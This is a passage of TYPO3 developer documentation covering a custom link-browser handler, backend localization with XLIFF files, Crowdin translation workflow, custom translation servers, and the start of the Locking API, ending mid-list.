define(['jquery', 'TYPO3/CMS/Recordlist/LinkBrowser'], function($, LinkBrowser) {
   'use strict';

   /**
    *
    * @type {{}}
    * @exports T3docs/Examples/GitHubLinkHandler
    */
   var GitHubLinkHandler = {};

   $(function() {
      $('#lgithubform').on('submit', function(event) {
         event.preventDefault();

         var value = $(this).find('[name="lgithub"]').val();
         if (value === 'github:') {
            return;
         }
         if (value.indexOf('github:') === 0) {
            value = value.substr(7);
         }
         LinkBrowser.finalizeFunction('github:' + value);
      });
   });

   return GitHubLinkHandler;
});
Copied!

This would create a link looking like this:

<a href="github:123">Example Link</a>
Copied!

Which could, for example, be interpreted by a custom protocol handler on a company computer's operating system.

LinkBrowser Tutorials

Contents:

Browse records of a table

This tutorial explains how to create a link browser to the records of a table. It can be used to create links to a news detail page (See also the Link browser example in tutorial in the news extension manual) or to the record of another third-party extension.

In our example extension t3docs/examples we demonstrate creating a custom record link browser by linking to the single view of a haiku poem.

A link browser for records of the custom table 'haiku'

Localization

Introduction

Except for some low level functions, TYPO3 exclusively uses localizable strings for all labels displayed in the backend. This means that the whole user interface may be translated. The encoding is strictly UTF-8.

The default language is English, and the Core ships only with such labels (and so should extensions).

All labels are stored in XLIFF format, generally located in the Resources/Private/Language/ folder of an extension (old locations may still be found in some places).

The format, TYPO3 specific details and managing interfaces of XLIFF are outlined in detail in this chapter.

Supported languages

The list of supported languages is defined in \TYPO3\CMS\Core\Localization\Locales::$languages.

Locale in TYPO3 Name
af Afrikaans
ar Arabic
bs Bosnian
bg Bulgarian
ca Catalan
ch Chinese (Simple)
cs Czech
da Danish
de German
el Greek
eo Esperanto
es Spanish
et Estonian
eu Basque
fa Persian
fi Finnish
fo Faroese
fr French
fr_CA French (Canada)
gl Galician
he Hebrew
hi Hindi
hr Croatian
hu Hungarian
is Icelandic
it Italian
ja Japanese
ka Georgian
kl Greenlandic
km Khmer
ko Korean
lt Lithuanian
lv Latvian
mi Maori
mk Macedonian
ms Malay
nl Dutch
no Norwegian
pl Polish
pt Portuguese
pt_BR Brazilian Portuguese
ro Romanian
ru Russian
rw Kinyarwanda
sk Slovak
sl Slovenian
sn Shona
sq Albanian
sr Serbian
sv Swedish
th Thai
tr Turkish
uk Ukrainian
vi Vietnamese
zh Chinese (Trad)

Managing translations

This sections highlights the different ways to translate and manage XLIFF files.

Fetching translations

The backend module Admin Tools > Maintenance > Manage Language Packs allows to manage the list of available languages to your users and can fetch and update language packs of TER and Core extensions from the official translation server. The module is rather straightforward to use and should be pretty much self-explanatory. Downloaded language packs are stored in the environment's getLabelsPath().

The Languages module with some active languages and status of extensions language packs

Language packs can also be fetched using the command line:

vendor/bin/typo3 language:update
Copied!
typo3/sysext/core/bin/typo3 language:update
Copied!

Local translations

With t3ll it is possible to translate XLIFF files locally. t3ll is an open source, cross-platform application and runs on console under Linux, MacOS and Windows. It opens its editor inside a Google Chrome or Chromium window.

t3ll screenshot

Translating with t3ll

Just call on a console, for example:

t3ll path/to/your/extension/Resources/Private/Language/locallang.xlf
Copied!
t3ll.exe path\to\your\extension\Resources\Private\Language\locallang.xlf
Copied!

Translating files locally is useful for extensions which should not be published or for creating custom translations.

Custom translations

$GLOBALS['TYPO3_CONF_VARS']['SYS']['locallangXMLOverride'] allows to override XLIFF files. Actually, this is not just about translations. Default language files can also be overridden. The syntax is as follows:

EXT:examples/ext_localconf.php
// Override a file in the default language
$GLOBALS['TYPO3_CONF_VARS']['SYS']['locallangXMLOverride']['EXT:frontend/Resources/Private/Language/locallang_tca.xlf'][]
    = 'EXT:examples/Resources/Private/Language/custom.xlf';
// Override a German ("de") translation
$GLOBALS['TYPO3_CONF_VARS']['SYS']['locallangXMLOverride']['de']['EXT:news/Resources/Private/Language/locallang_modadministration.xlf'][]
    = 'EXT:examples/Resources/Private/Language/Overrides/de.locallang_modadministration.xlf';
Copied!

The German language file looks like this:

EXT:examples/Resources/Private/Language/Overrides/de.locallang_modadministration.xlf
<?xml version="1.0" encoding="utf-8" standalone="yes" ?>
<xliff version="1.0">
    <file source-language="en" datatype="plaintext" date="2013-03-09T18:44:59Z" product-name="examples">
        <body>
            <trans-unit id="pages.title_formlabel" resname="pages.title_formlabel" approved="true">
                <source>Most important title</source>
                <target>Wichtigster Titel</target>
            </trans-unit>
        </body>
    </file>
</xliff>
Copied!

and the result can be easily seen in the backend:

Custom label

Custom translation in the TYPO3 backend

Custom languages

TYPO3 supports many languages by default. But it is also possible to add custom languages and create the translations locally using XLIFF files.

  1. Define the language

    As example, we "gsw_CH" (the official code for “Schwiizertüütsch” - that is "Swiss German") as additional language:

    typo3conf/AdditionalConfiguration.php
    $GLOBALS['TYPO3_CONF_VARS']['SYS']['localization']['locales']['user'] = [
        'gsw_CH' => 'Swiss German',
    ];
    Copied!
  2. Add fallback to another language

    This new language does not have to be translated entirely. It can be defined as a fallback to another language, so that only differing labels have to be translated:

    typo3conf/AdditionalConfiguration.php
    $GLOBALS['TYPO3_CONF_VARS']['SYS']['localization']['locales']['dependencies'] = [
        'gsw_CH' => ['de_AT', 'de'],
    ];
    Copied!

    In this case, we define that "gsw_CH" can fall back on "de_AT" (another custom translation) and then on "de".

  3. Add translation files

    The translations for system extensions and extensions from TER must be stored in the appropriate labels path sub-folder (getLabelsPath()), in this case gsw_CH.

    The least you need to do is to translate the label with the name of the language itself so that it appears in the user settings. In our example, this would be in the file gsw_CH/setup/Resources/Private/Language/gsw_CH.locallang.xlf.

    gsw_CH/setup/Resources/Private/Language/gsw_CH.locallang.xlf
    <?xml version="1.0" encoding="UTF-8"?>
    <xliff xmlns="urn:oasis:names:tc:xliff:document:1.2" version="1.2">
        <file source-language="en" target-language="gsw_CH" datatype="plaintext" original="EXT:setup/Resources/Private/Language/locallang.xlf">
            <body>
                <trans-unit id="lang_gsw_CH" resname="lang_gsw_CH" approved="yes">
                    <source>Swiss German</source>
                    <target>Schwiizertüütsch</target>
                </trans-unit>
            </body>
        </file>
    </xliff>
    Copied!

    The custom language is now available in the user settings:

    The new language appears in the user preferences

    For translations in own extensions you can provide the custom language files in the Resources/Private/Language/ folder of the extension, for example gsw_CH.locallang_db.xlf.

Localization API

LanguageService

This class is used to translate strings in plain PHP. For examples see Localization in PHP. A LanguageService should not be created directly, therefore its constructor is internal. Create a LanguageService with the LanguageServiceFactory.

In the backend context a LanguageService is stored in the global variable $GLOBALS['LANG'].

class LanguageService
Fully qualified name
\TYPO3\CMS\Core\Localization\LanguageService

Main API to fetch labels from XLF (label files) based on the current system language of TYPO3. It is able to resolve references to files + their pointers to the proper language. If you see something about "LLL", this class does the trick for you. It is not related for language handling of content, but rather of labels for plugins.

Usually this is injected into $GLOBALS['LANG'] when in backend or CLI context, and populated by the current backend user. Don't rely on $GLOBAL['LANG'] in frontend, as it is only available in certain circumstances! In Frontend, this is also used to translate "labels", see TypoScriptFrontendController->sL() for that.

As TYPO3 internally does not match the proper ISO locale standard, the "locale" here is actually a list of supported language keys, (see Locales class), whereas "english" has the language key "default".

lang

This is set to the language that is currently running for the user

debugKey

If TRUE, will show the key/location of labels in the backend.

getLL ( string $index)

Returns the label with key $index from the globally loaded $LOCAL_LANG array.

Mostly used from modules with only one LOCAL_LANG file loaded into the global space.

param string $index

Label key

sL ( string $input)

splitLabel function

All translations are based on $LOCAL_LANG variables. 'language-splitted' labels can therefore refer to a local-lang file + index. Refer to 'Inside TYPO3' for more details

param string $input

Label key/reference

returntype

string

includeLLFile ( string $fileRef)

Includes locallang file (and possibly additional localized version if configured for) Read language labels will be merged with $LOCAL_LANG (if $setGlobal = TRUE).

param string $fileRef

$fileRef is a file-reference

create ( string $locale)

Factory method to create a language service object.

param string $locale

the locale (= the TYPO3-internal locale given)

returntype

self

createFromUserPreferences ( TYPO3\\CMS\\Core\\Authentication\\AbstractUserAuthentication $user)
param TYPO3\\CMS\\Core\\Authentication\\AbstractUserAuthentication $user

the user

returntype

self

createFromSiteLanguage ( TYPO3\\CMS\\Core\\Site\\Entity\\SiteLanguage $language)
param TYPO3\\CMS\\Core\\Site\\Entity\\SiteLanguage $language

the language

returntype

self

LanguageServiceFactory

This factory class is for retrieving the LanguageService at runtime, which then is used to translate strings in plain PHP. For examples see Localization in PHP. Creates a LanguageService that can then be used for localizations.

class LanguageServiceFactory
Fully qualified name
\TYPO3\CMS\Core\Localization\LanguageServiceFactory
create ( string $locale)

Factory method to create a language service object.

param string $locale

the locale (= the TYPO3-internal locale given)

returntype

TYPO3\CMS\Core\Localization\LanguageService

createFromUserPreferences ( TYPO3\\CMS\\Core\\Authentication\\AbstractUserAuthentication $user)
param TYPO3\\CMS\\Core\\Authentication\\AbstractUserAuthentication $user

the user

returntype

TYPO3\CMS\Core\Localization\LanguageService

createFromSiteLanguage ( TYPO3\\CMS\\Core\\Site\\Entity\\SiteLanguage $language)
param TYPO3\\CMS\\Core\\Site\\Entity\\SiteLanguage $language

the language

returntype

TYPO3\CMS\Core\Localization\LanguageService

LocalizationUtility (Extbase)

This class is used to translate strings within Extbase context. For an example see Localization in Extbase.

class LocalizationUtility
Fully qualified name
\TYPO3\CMS\Extbase\Utility\LocalizationUtility

Localization helper which should be used to fetch localized labels.

translate ( string $key, string $extensionName = NULL, array $arguments = NULL, string $languageKey = NULL, array $alternativeLanguageKeys = NULL)

Returns the localized label of the LOCAL_LANG key, $key.

param string $key

The key from the LOCAL_LANG array for which to return the value.

param string $extensionName

The name of the extension, default: NULL

param array $arguments

The arguments of the extension, being passed over to sprintf, default: NULL

param string $languageKey

The language key or null for using the current language from the system, default: NULL

param array $alternativeLanguageKeys

The alternative language keys if no translation was found., default: NULL

returntype

string

Returns

The value from LOCAL_LANG or null if no translation was found.

Translation servers

A translation server holds all translations which can be fetched by multiple TYPO3 installations. The translations for the TYPO3 Core and several third-party extensions are managed via Crowdin. But it is also possible to operate your own translation server and connect it with a TYPO3 installation for custom extensions.

Localization with Crowdin


What is Crowdin?

Crowdin is a cloud-based localization management platform and offers features essential for delivering great translation:

Single source
Translate text once that is used in different versions and parts of the software.
Machine translation
Let machines do the first pass and then human-translators can edit the suggestions.
Glossary
We can use our own TYPO3 glossary to make sure specific words are properly translated (for example, "Template" in German, "TypoScript" or "SEO").
Translation memory
We can reuse existing translations, no matter if done for the TYPO3 Core or an extension.

Contribute translations

There are basically two cases where you can provide a helping hand:

Join the Localization Team and help where you can. This can be the translation of a whole extension into your language or the revision of a part of the Core.

  1. Contribution to the general translation of the TYPO3 Core and extensions: As TYPO3 is growing in features and functionality, the need for translating new labels grows as well. You can contribute with help while TYPO3 is growing. Join in and give a hand where you can. This can be the translation of a whole extension into your language or the revision of a part of the Core.
  2. If you develop extensions, you can make the extension available for translation. Just follow Extension integration to make it available to the translation team.

Even if you do not see yourself as a translator, you can still participate. In case you stumble across a typo, an error or an untranslated term in your language in TYPO3: Log in to Crowdin, join the project where you found the typo and make a suggestion for the label in your language.

The quality of your work is more important than its quantity. Ensure correct spelling (for example, capitalization), grammar, and punctuation. Use only terminology that is consistent with the rest of the language pack. Do not make mistakes in the technical parts of the strings, such as variable placeholders, HTML, etc. For these reasons, using an automatic translation (e.g. Google Translate) is never good enough.

For these reasons, using automatic translation (for example, Google Translate or DeepL) is never good enough.

All services and documents that are visible to the user are translated by the translation team. It does not matter which language you speak. We already have many language teams that are very active. Our goal is more diversity to help us with our work on internationalization.

More to read

Extension integration

This section describes how an extension author can get his extension set up at Crowdin.

Setup

Get in contact with the team in the TYPO3 Slack channel #cig-crowdin-localization with the following information:

  1. Extension name
  2. Your email address for an invitation to Crowdin, so you will get the correct role for your project.

Integration

In a next step you need to configure the integration of your Git provider into Crowdin. Have a look at the documentation on how to connect your repository with Crowdin:

Happy translating!

Online translation with Crowdin

Getting started

If you want to participate, it only takes a few steps to get started:

  1. Create an account at Crowdin: https://accounts.crowdin.com/register
  2. Either find a TYPO3-project or go straight to TYPO3 Core (https://crowdin.com/project/typo3-cms). There is also a list of extensions available for translation at the TYPO3 Crowdin Bridge
  3. Join the project
  4. Select your preferred language
  5. Start translation

Using Crowdin is free for Open Source projects. For private projects, Crowdin's pricing model is based on projects and not on individual users.

To help you get started, Tom Warwick has created a short tutorial video for you:

Teams and roles

When you sign up for an account at Crowdin for the first time, you will be awarded with the role "Translator" and you can start translating.

Find the project via the search and click on the Join button. Click on the language/flag you want to translate. Go ahead and translate!

All translated strings are considered translated, but not proofread. When the strings have been proofread by team members with the "Proofreader" role, the translation will be available for all TYPO3 instances via the "Managing Language Packs" section in the TYPO3 backend.

The language files in Core

In Crowdin, the TYPO3 Core is divided into system extensions and their underlying language files. Each system extension contains one or more files, and the structure reflects the actual structure, but only for the XLIFF files.

While you translate an XLIFF file, Crowdin supports you with valuable information:

  • You get a clear overview on the progress. A grey bar means that work needs to be done, the blue bar shows how many words have been translated and the green bar shows how many words have been approved.
  • The system offers you suggestions on terms and translations from the Translation Memory (TM) and Machine Translation (MT).
  • You can sort and order the labels in different ways; show only untranslated, unresolved, commented, and so on. And all the labels as well.
  • You can start discussions about a specific string.
  • You can search the Translation Memory.
  • You can improve the Translation Memory by adding new terms.
  • You can easily get in contact with the language manager and team members.

Preconditions

You need a detailed understanding of how TYPO3 works. You have preferably worked with TYPO3 for some years as developer, administrator, integrator or senior editor. You know your way around in the backend and you are familiar with most of the functionality and features. If you are more focused in translating extensions, you will need to understand all the parts of the extension before you start translating.

What skills are needed

You need to be bilingual: fluent in both English and the language you are translating into. It would be hard work if you only had casual knowledge of the target language or English. And we would (probably) end up with a confusing localization.

A good understanding of how a language is constructed in terms of nouns, verbs, punctuation and grammar in general will be necessary.

How to create (good) translations

  1. Stay true to the source labels you work with. Given that the developer of the code, who made the English text, understands the functionality best, please try to translate the meaning of the sentences.
  2. Translate organically, not literally. The structure or your target language is important. English often has a different structure and tone, so you must adapt the equal text but the equivalent. So please do not replicate, but replace.
  3. Use the same level of formality. The cultural context can be very different from different languages. What works in English may be way far too informal in your language and vice versa. Try to find a good level of (in)formality and stick to it. And be open to discuss it with your fellow team translators.
  4. Look into other localized projects in your language. There are tons of Open Source projects being translated, also into your language. Be curious and look at how the localization is done – there might be things to learn and adapt.
  5. Be consistent. Localization of high quality is characterised by the consistency. Make extensive use of the terms and glossary.
  6. Use machine translation carefully. It is tempting but dangerous to do a quick translation with one of the common machine translation tools and sometimes it can help you to get a deeper understanding of the meaning of a text. But very often a machine-translated text breaks all the above rules unless you rework the text carefully afterwards.
  7. Work together. As in all other aspects of Open Source, things get so much better when we work together. So, reach out for help when you get stuck. Or offer your knowledge if someone ask for it. Crowdin provides a good platform for collaborating with your team translators, and please join the Translation Slack channel #typo3-translations.

Translation styles

In general, and where it makes sense, we follow the Writing Style Guide from the Content Team.

In the future (when translation teams start getting bigger), it might be a good idea to develop local style guides.

Become a proofreader

Community-driven translations form the backbone of the translation of TYPO3. Huge thanks to all translators and proofreaders for their invaluable contributions!

Please contact the Localization Team via email at localization@typo3.org to request the role of a proofreader.

Or join the Slack channel of the Localization Team: #typo3-localization-team

FAQ

Should I localize both 11.5 and main?

The main branch is the leading version. Any string that is also present in the previous version is automatically filled during export and only needs to be localized if it is different in the previous version.

Strings are translated, but when are they taken into account and available for download?

As soon as a string is proofread, it will be taken into account at the next export. The export is done every two hours.

If the process takes too long, please write an email to localization@typo3.org.

How can I be sure what way a word, term or string is to be translated?

There are several ways to get help: In the left panel you can either search the translation memory (TM) or the term base. You can also drop a comment to start a discussion or ask for advice.

Where do I meet all the other translators?

There is a good chance to find help and endorsement in the TYPO3 Slack workspace. Try the Translation Slack channel #typo3-translations.

Workflow

The following workflow is used to bring a translation into a TYPO3 installation.

  1. English sources

    The sources in English are maintained in the project itself.

  2. Creating translations on Crowdin.com

    The translations for the TYPO3 Core are managed on Crowdin at https://crowdin.com/project/typo3-cms.

    You can either translate all strings on the Crowdin platform or directly in the TYPO3 backend.

    You can find the status of translations for TYPO3 Core and extensions here: https://localize.typo3.org/xliff/status.html

  3. Crowdin Bridge

    A separate project is accountable for exporting the translations from Crowdin. This consists of several steps:

    • Trigger a build of all projects
    • Download all translations including multiple branches and all available languages
    • Create ZIP files of all single XLIFF files
    • Copy the files to the translation server

    The Crowdin Bridge is available under https://github.com/TYPO3/crowdin-bridge.

  4. Import translations into TYPO3 installations

    The translations can be downloaded within a TYPO3 installation. This is described under Fetching translations.

Chart

+--------------+                   +----------------+
|  1) GitHub   |                   | 2) Crowdin.com |
|--------------|                   |----------------|
|              |  Automated Sync   |- Translate     |
| TYPO3 Core   |+----------------> |- Proofread     |
|  and         |                   |                |
| Extensions   |                   | in all         |
|              |                   | languages      |
+--------------+                   +----------------+
                                          ^
                                          |
  +---------------------------------------+
  |Triggered via GitHub actions
  v
+-------------------+                 +-----------------------+
| 3) Crowdin Bridge |                 | 4) Translation Server |
|-------------------|                 |-----------------------|
|- Build projects   |                 |- Serves l10n zip      |
|- Download         |     rsync to    |  files, requested     |
|  translations     |+--------------->|  by TYPO3 sites       |
|- Create zips      |                 |- Hosts status page    |
|- Status pages     |                 +-----------------------+
+-------------------+
Copied!

Frequently asked questions (FAQ)

General questions

My favorite extension is not available on Crowdin

If you miss an extension on Crowdin, contact the extension owner to create a project on Crowdin.

It is important that they follow the description on the page Extension integration. The setup is a simple process and done within minutes.

My favorite language is not available for an extension

If you are missing the support for a specific language in an extension on Crowdin please contact either the maintainer of the extension or the Localization Team.

Will the old translation server be disabled?

The old translation server under https://translation.typo3.org/ has been turned off in July 2023.

The existing and exported translations which are downloaded within the Install Tool will be available for longer time.

How to convert to the new language XLIFF file format

If you have downloaded an XLIFF file from the deactivated Pootle language server or an old version of an extension, then it does not have the correct format. You need to remove some attributes. And you need to add the resname attribute. For this you can use a Linux tool or a sophisticated editor to copy the id attribute into the resname of the XLIFF file based on regular expressions.

In most editors you can use regular expressions, for example, in PhpStorm:

  1. Open the XLIFF file in the editor.
  2. Press Ctrl + R to open the search and replace pane
  3. Find: id="(.+?)" / Replace: id="$1" resname="$1"
  4. Click the regex icon (.*) to enable regular expressions.
  5. Click on button Replace All

Questions about extension integration

Why does Crowdin show me translations in source language?

If you have just set up Crowdin and ship translated XLIFF files in your extension, they will also show up as files to be translated.

You need to exclude them in your crowdin.yml configuration, which is located in the extension root directory.

EXT:my_extension/crowdin.yml
files:
  - source: /Resources/Private/Language/
    translation: /Resources/Private/Language/%two_letters_code%.%original_file_name%
    ignore:
      - /Resources/Private/Language/de.*
Copied!

Can I upload translated XLIFF files?

Yes, you can! Switch to the settings area of your project (you need to have the proper permissions for that) and you can upload XLIFF files or even ZIP files containing the XLIFF files.

Upload translations

Upload translations

After triggering the upload, Crowdin tries to find the matching source files and target languages. You may have to accept both if they are not found automatically.

How can I disable the pushing of changes?

By default, Crowdin pushes changes made in translations back to the repository. This is not necessary, as the translation server provided by TYPO3 handles the distribution of translations, so your extension does not need to ship the translations.

You can disable the pushing of changes back into your repository in the Crowdin configuration. Navigate in your Crowdin project to Integrations and select your integration (for example, GitHub). Then click on the Edit button and disable the Push Sources checkbox.

How can I migrate translations from Pootle?

If there were already translations on the old, discontinues translation server powered by Pootle, you do not need to translate everything again on Crowdin - you can import them.

  1. Fetch translations: Download the translations you need. You will need to download them directly from the TER with the following URL pattern:

    https://extensions.typo3.org/fileadmin/ter/<e>/<x>/<extension_key>-l10n/<extension_key>-l10n-<lang>.zip

    <extension_key>
    The full extension key.
    <e>
    The first letter of that extension key.
    <x>
    The second letter of that extension key.
    <lang>
    The ISO 639-1 code of the language, for example, de for German.

    For example, to download the German translations of the news extension:

    wget https://extensions.typo3.org/fileadmin/l10n/n/e/news-l10n/news-l10n-de.zip
    Copied!
  2. Open and Cleanup: Unzip the translations and switch to, for example, Resources/Private/Language/ which is the typical directory of translations. Remove the .xml files as only the .xlf files are important.
  3. Match the files The attribute original of the translations must match the ones of the default translations.

    Example: The file Resources/Private/Language/locallang.xlf starts with the following snippet:

    <?xml version="1.0" encoding="utf-8" standalone="yes" ?>
        <xliff version="1.0">
            <file source-language="en" datatype="plaintext" original="EXT:news/Resources/Private/Language/locallang.xlf">
    Copied!

    The file de.locallang.xlf must be modified and original="messages" must be changed to original="EXT:news/Resources/Private/Language/locallang.xlf"

  4. Upload the Translations Have a look at Can I upload translated XLIFF files?.

Questions about TYPO3 Core integration

The Core Team added a new system extension. Why are language packs not available even though it has already been translated into language XY?

The new system extension needs to be added to the configuration of https://github.com/TYPO3/crowdin-bridge/. You can speed up the change by creating a pull request like this one: https://github.com/TYPO3/crowdin-bridge/pull/6/commits.

Custom translation servers

With the usage of XLIFF and the freely available Pootle translation server, companies and individuals may easily set up a custom translation server for their extensions.

The event ModifyLanguagePackRemoteBaseUrlEvent can be caught to change the translation server URL. The first step is to register your custom listener for the event. Such code would be placed in an extension's Services.yml file:

EXT:my_extension/Configuration/Services.yaml
services:
  # Place here the default dependency injection configuration

  MyVendor\MyExtension\EventListener\CustomMirror:
    tags:
      - name: event.listener
        identifier: 'my-extension/custom-mirror'
Copied!

Read how to configure dependency injection in extensions.

The class (listener) that receives the event might look something like this:

EXT:my_extension/Classes/EventListener/CustomMirror.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\EventListener;

use TYPO3\CMS\Core\Http\Uri;
use TYPO3\CMS\Install\Service\Event\ModifyLanguagePackRemoteBaseUrlEvent;

final class CustomMirror
{
    private const EXTENSION_KEY = 'my_extension';
    private const MIRROR_URL = 'https://example.org/typo3-packages/';

    public function __invoke(ModifyLanguagePackRemoteBaseUrlEvent $event): void
    {
        if ($event->getPackageKey() === self::EXTENSION_KEY) {
            $event->setBaseUrl(new Uri(self::MIRROR_URL));
        }
    }
}
Copied!

In the above example, the URL is changed only for a given extension, but of course it could be changed on a more general basis.

On the custom translation server side, the structure needs to be:

https://example.org/typo3-packages/
`-- <first-letter-of-extension-key>
    `-- <second-letter-of-extension-key>
        `-- <extension-key>-l10n
            |-- <extension-key>-l10n-de.zip
            |-- <extension-key>-l10n-fr.zip
            `-- <extension-key>-l10n-it.zip
Copied!

hence in our example:

https://example.org/typo3-packages/
`-- m
    `-- y
        `-- my_extension-l10n
            |-- my_extension-l10n-de.zip
            |-- my_extension-l10n-fr.zip
            `-- my_extension-l10n-it.zip
Copied!

XLIFF Format

The XML Localization Interchange File Format (or XLIFF) is an OASIS-blessed standard format for translations.

In a nutshell, an XLIFF document contains one or more <file> elements. Each file element usually corresponds to a source (file or database table) and contains the source of the localizable data. Once translated, the corresponding localized data is added for one, and only one, locale.

Localizable data is stored in <trans-unit> elements. <trans-unit> contains a <source> element to store the source text and a (non-mandatory) <target> element to store the translated text.

The default language is always English, even if you have changed your TYPO3 backend to another language. It is mandatory to set source-language="en".

Basics

Here is a sample XLIFF file:

EXT:my_ext/Resources/Private/Language/Modules/<file-name>.xlf
<?xml version="1.0" encoding="UTF-8"?>
<xliff version="1.2" xmlns="urn:oasis:names:tc:xliff:document:1.2">
    <file source-language="en" datatype="plaintext" original="EXT:my_ext/Resources/Private/Language/Modules/<file-name>.xlf" date="2020-10-18T18:20:51Z" product-name="my_ext">
        <header/>
        <body>
            <trans-unit id="headerComment" resname="headerComment">
                <source>The default Header Comment.</source>
            </trans-unit>
            <trans-unit id="generator" resname="generator">
                <source>The "Generator" Meta Tag.</source>
            </trans-unit>
        </body>
    </file>
</xliff>
Copied!

The following attributes should be populated properly in order to get the best support in external translation tools:

original (in <file> tag)
This property contains the path to the xlf file.
resname (in <trans-unit> tag)
Its content is shown to translators. It should be a copy of the id property.

The translated file is very similar. If the original file was named locallang.xlf, the translated file for German (code "de") will be named de.locallang.xlf.

In the file itself, a target-language attribute is added to the <file> tag to indicate the translation language ("de" in our example). TYPO3 does not consider the target-language attribute for its own processing of translations, but the filename prefix instead. The attribute might be useful though for human translators or tools. Then, for each <source> tag there is a sibling <target> tag that contains the translated string.

This is how the translation of our sample file might look like:

EXT:my_ext/Resources/Private/Language/Modules/<file-name>.xlf
<?xml version="1.0" encoding="UTF-8"?>
<xliff version="1.2" xmlns="urn:oasis:names:tc:xliff:document:1.2">
    <file source-language="en" target-language="de" datatype="plaintext" original="EXT:my_ext/Resources/Private/Language/Modules/<file-name>.xlf" date="2020-10-18T18:20:51Z" product-name="my_ext">
        <header/>
        <body>
            <trans-unit id="headerComment" resname="headerComment" approved="yes">
                <source>The default Header Comment.</source>
                <target>Der Standard-Header-Kommentar.</target>
            </trans-unit>
            <trans-unit id="generator" resname="generator" approved="yes">
                <source>The "Generator" Meta Tag.</source>
                <target>Der "Generator"-Meta-Tag.</target>
            </trans-unit>
        </body>
    </file>
</xliff>
Copied!

Only one language can be stored per file, and each translation into another language is placed in an additional file.

File locations and naming

In the TYPO3 Core, XLIFF files are located in the various system extensions as needed and are expected to be located in Resources/Private/Language.

In Extbase, the main file (locallang.xlf) is loaded automatically and is available in the controller and Fluid views without any further work. Other files must be explicitly referenced with the syntax LLL:EXT:extkey/Resources/Private/Language/myfile.xlf:my.label.

As mentioned above, the translation files follow the same naming conventions, but are prepended with the language code and a dot. They are stored alongside the default language files.

ID naming

It is recommended to apply the following rules for defining identifiers (the id attribute).

Separate by dots

Use dots to separate logical parts of the identifier.

Good example:

CType.menuAbstract
Copied!

Bad examples:

CTypeMenuAbstract
CType-menuAbstract
Copied!

Namespace

Group identifiers together with a useful namespace.

Good example:

CType.menuAbstract
Copied!

This groups all available content types for content elements by using the same prefix CType..

Bad example:

menuAbstract
Copied!

Namespaces should be defined by context. menuAbstract.CType could also be a reasonable namespace if the context is about menuAbstract.

lowerCamelCase

Generally, lowerCamelCase should be used:

Good example:

frontendUsers.firstName
Copied!

Working with XLIFF files

Access labels

Label access in PHP

In PHP, a typical call in the Backend to fetch a string in the language selected by a user looks like this:

$this->getLanguageService()->sL('LLL:EXT:core/Resources/Private/Language/locallang_core.xlf:labels.minutesHoursDaysYears')
Copied!

getLanguageService() is a call to a helper method that accesses $GLOBALS['LANG']. In the Backend, the bootstrap parks an initialized instance of \TYPO3\CMS\Core\Localization\LanguageService at this place. This may change in the future, but for now the LanguageService can be reliably fetched from this global.

If additional placeholders are used in a translation source, they must be injected, a call then typically looks like this:

// Text string in .xlf file has a placeholder:
// <trans-unit id="message.description.fileHasBrokenReferences">
//     <source>The file has %1s broken reference(s) but it will be deleted regardless.</source>
// </trans-unit>
sprintf($this->getLanguageService()->sL(
    'LLL:EXT:core/Resources/Private/Language/locallang_core.xlf:message.description.fileHasBrokenReferences'),
    count($brokenReferences)
);
Copied!

Various classes are involved in the localization process, with \TYPO3\CMS\Core\Localization\LanguageService providing the actual methods to retrieve a localized label. sL() loads a language file if needed first, and then returns a label from it (using a string with the LLL:EXT:... syntax as argument).

Extbase class \TYPO3\CMS\Extbase\Utility\LocalizationUtility is essentially a convenience wrapper around the \TYPO3\CMS\Core\Localization\LanguageService class, whose translate() method also takes an array as argument and runs PHP's vsprintf() on the localized string. However, in the future it is expected this Extbase specific class will melt down and somehow merged into the Core API classes to get rid of this duplication.

Label access in Fluid

In Fluid, a typical call to fetch a string in the language selected by a user looks like this:

<f:translate key="key1" extensionName="SomeExtensionName" />
// or inline notation
{f:translate(key: 'someKey', extensionName: 'SomeExtensionName')}
Copied!

If the correct context is set, the current extension name and language is provided by the request. Otherwise it must be provided.

The documentation for the Viewhelper can be found at Translate ViewHelper <f:translate>.

Locking API

TYPO3 uses the locking API in the Core. You can do the same in your extension for operations which require locking. This is the case if you use a resource, where concurrent access can be a problem. For example if you are getting a cache entry, while another process sets the same entry. This may result in incomplete or corrupt data, if locking is not used.

Locking strategies

A locking strategy must implement the LockingStrategyInterface. Several locking strategies are shipped with the Core. If a locking strategy uses a mechanism or function, that is not available on your system, TYPO3 will automatically detect this and not use this mechanism and respective locking strategy (e.g. if function sem_get() is not available, SemaphoreLockStrategy will not be used).

  • FileLockStrategy: uses the PHP function flock() and creates a file in typo3temp/var/lock The directory can be overwritten by configuration:

    typo3conf/AdditionalConfiguration.php
    use TYPO3\CMS\Core\Locking\FileLockStrategy;
    
    // The directory specified here must exist und must be a subdirectory of `Environment::getProjectPath()`
    $GLOBALS['TYPO3_CONF_VARS']['SYS']['locking']['strategies'][FileLockStrategy::class]['lockFileDir'] = 'mylockdir';
    Copied!
  • SemaphoreLockStrategy: uses the PHP function sem_get()
  • SimpleLockStrategy is a simple method of file locking. It also uses the folder typo3temp/var/lock.

Extensions can add a locking strategy by providing a class which implements the LockingStrategyInterface.

If a function requires a lock, the locking API is asked for the best fitting mechanism matching the requested capabilities. This is done by a combination of:

capabilities
The capability of the locking strategy and the requested capability must match (e.g. if you need a non-blocking lock, only the locking strategies that support acquiring a lock without blocking are available for this lock).
priority
Each locking strategy assigns itself a priority. If more than one strategy is available for a specific capability (e.g. exclusive lock), the one with the highest priority is chosen.
locking strategy supported on system
Some locking strategies do basic checks, e.g. semaphore locking is only available on Linux systems.

Capabilities

These are the current capabilities, that can be used (see EXT:core/Classes/Locking/LockingStrategyInterface.php (GitHub):

In general, the concept of locking, using shared or exclusive + blocking or non-blocking locks is not TYPO3-specific. You can find more resources under Related Information.

LOCK_CAPABILITY_EXCLUSIVE

A lock can only be acquired exclusively once and is then locked (in use). If another process or thread tries to acquire the same lock, it will:

  • If locking strategy without LOCK_CAPABILITY_NOBLOCK is used either:

    • block or
    • throw LockAcquireException, if the lock could not be acquired - even with blocking
  • If locking strategy with LOCK_CAPABILITY_NOBLOCK is used, this should not block and do either:

    • return false or
    • throw LockAcquireWouldBlockException, if trying to acquire lock would block
    • throw LockAcquireException, if the lock could not be acquired
LOCK_CAPABILITY_SHARED
A lock can be acquired by multiple processes, if it has this capability and the lock is acquired with LOCK_CAPABILITY_SHARED. The lock cannot be acquired shared, if it has already been acquired exclusively, until the exclusive lock is released.
LOCK_CAPABILITY_NOBLOCK
